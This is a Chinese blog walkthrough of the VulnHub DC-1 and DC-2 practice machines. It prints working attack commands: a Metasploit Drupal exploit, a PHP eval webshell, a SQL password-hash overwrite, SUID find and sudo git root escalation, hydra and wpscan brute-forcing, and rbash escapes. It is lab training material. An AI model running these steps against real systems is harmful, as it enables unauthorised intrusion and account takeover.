vulnhub渗透记录1(DC-1&DC-2)
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulnhub渗透记录1(DC-1&DC-2)相关的知识,希望对你有一定的参考价值。
DC-1
环境搭建
装好靶机,连接nat模式,这样就已经打开了
kali也连接的nat模式
首先查看本地ip地址:192.168.159.131
信息收集
内网扫描:arp-scan -l
也可以nmap -sP 192.168.159.0/24
找到目标:192.168.159.132
比较喜欢在windows操作,扫一波端口先
开放了80端口,web服务器
先扫一下目录
kali里面dirb 192.168.159.132
访问一下robots.txt
看到指纹,有一个CMS:Drupal7,看下有没有能利用的漏洞
AWVS扫一波
扫到了一个任意命令执行,试着用msf打一波
msfconsole -q
search drupal
use 4
use 4 后设置靶机的IP就可以执行exploit
set rhosts 192.168.159.132
exploit
看到了session信息后,我们反弹一个交互的shell\\
shell
python -c 'import pty;pty.spawn("/bin/bash")'
我们写一个马进去玩一下
echo '<?php eval($_POST[1]);?>'>1.php
连蚁剑打方便一点
这里有消息,找配置文件,进一步扩大漏洞利用
在/var/www/sites/default/settings.php找到配置信息
登陆一波数据库
mysql -u dbuser -p
R0ck3t
成功进入
查表,发现有node和role,这两个表很重要
查询一波
出现了flag3,且有flag3的记录uid都为1
uid为1的用户是不受Drupal权限管制的,具有最高权限
我们来提权一波,有两个办法:
- 重置管理员密码
- 添加新的管理员账户
查询一下users表,搞出admin的号
但是这个东西加密了,我们可以更新掉他的表,那我们要怎么去加密我们更新的密码勒
找到scripts脚本
./scripts/password-hash.sh 123
加密后密码
$S$DVWvJapJiB/YzoQ9C6vt2ZV.5vTS3A68L35AxvMz23Zr47RQHiVs
更新记录
全部密码换成123
update users set pass="$S$DVWvJapJiB/YzoQ9C6vt2ZV.5vTS3A68L35AxvMz23Zr47RQHiVs";
成功登陆admin的账号
找到flag3
下一步,我们去找passwd看看,看到就想到了/etc/passwd
找到flag4
要去root找flag,但是没有权限,那我们就要提权
查找具有root权限的文件
find / -user root -perm -4000 -print 2>/dev/null
/user/bin/find /root
find ./ aaa -exec '/bin/sh' \\;
成功提权
总结
- 第一次做vulnhub,感觉很不错,很有真实渗透的感觉,信息收集,poc利用之类的
- 第一次用msf打poc,修好了坏了很久的AWVS,里面还是比较多漏洞库的
- 第一次尝试提权
DC-2
信息收集
装好了后,设nat模式
nmap扫出目标的ip:nmap -sP 192.168.159.0/24
扫出:192.168.159.133
扫描端口,开了一个80端口
还有一个7744端口
80端口直接还打不开,查了一下文章,可能是本地不解析他的ip
修改hosts文件
成功访问,这里看到了wordpress
看看指纹,有wordpress的CMS,是4.7.10的
还是上AWVS扫一下有什么洞
可能有wordpress的洞,待会再看
边扫我们边看下有啥信息
有个flag,提示用到cewl工具
cewl工具是kali的一个字典生成工具,用法参考
cewl -v http://dc-2/
既然用的wordpress,那我们用wpsan来扫漏洞,用法详情参考
命令1:root@kali:~# wpscan --url http://dc-2 --enumerate u
#暴力枚举用户名(这个是资料里面的,我的卡里里面跑不了这个的!!!)命令2:wpscan --ignore-main-redirect --url 192.168.85.137 --enumerate u --force
#这是自己花两个星期终于找到解决问题的办法了
扫到三个用户名:admin,jerry,tom
然后利用这三个用户名和之前收集的密码进行爆破尝试
hydra工具的使用
hydra -L dc-2_user.txt -P dc2_passwords.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’
-l ——> 表示单个用户名(使用-L表示用户名列表)
-P ——> 表示使用以下密码列表
http-post-form ——> 表示表单的类型
/ dvwa / login-php ——> 是登录页面URL
username ——> 是输入用户名的表单字段
^ USER ^ ——> 告诉Hydra使用字段中的用户名或列表
password是输入密码的表单字段(可以是passwd,pass等)
^ PASS ^ ——> 告诉Hydra使用提供的密码列表
可以使用wpscan来爆破
wpscan -u 192.168.64.138 -e u --wordlist /root/wordlist.txt
命令详解:
-e枚举方式
u 用户ID1-ID10
–wordlist使用指定字典进行密码爆破 /root/wordlist.txt 字典路径及字典文件
wordlist.txt字典文件需自己准备或使用kali自带字典
我用bp来爆破
成功爆破到两个
tom:parturient
jerry:adipiscing
登进后台系统,好像没啥,看看能不能登ssh服务,之前扫了一个7744端口
成功登进去了
来说看看这个flag3的,但是命令执行失败了
rbash的绕过
是rbash,对命令有限制
绕过参考
编辑器绕过rbash
- vi编辑器
在命令行中,输入 vi,在末行模式中,输入:set shell=/bin/bash
这里就直接将shell设置为/bin/bash
接着在执行命令 shell就好了:shell
,就有一个无限制的shell了
- ed编辑器
ed
!'/bin/sh'
小技巧,按tab可以查看可使用的命令
执行cat,报错了
原来是还没弄完
接下来还要添加环境变量
export PATH=$PATH:/bin/
或者
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
成功绕过
切换用户到jerry:su jerry
在/home/jerry这里找到了flag4
读取一波
提示git,使用git提权
使用sudo -l
不需要密码
git提权
sudo git -p help
末行输入:!/bin/bash
成功提权
找到final flag
总结
- 第二次vulnhub,学到挺多的,这次渗透的是一个wordpress
- cewl工具的使用,这是kali自带的密码生成工具
- wordpress搭建的,用wpsan来扫漏洞,进行账号密码的爆破之类的
- rbash的绕过,先用编辑器,再搞环境变量
- 又是一个提权,sudo -l执行不需要输入密码的话就可以使用git提权
以上是关于vulnhub渗透记录1(DC-1&DC-2)的主要内容,如果未能解决你的问题,请参考以下文章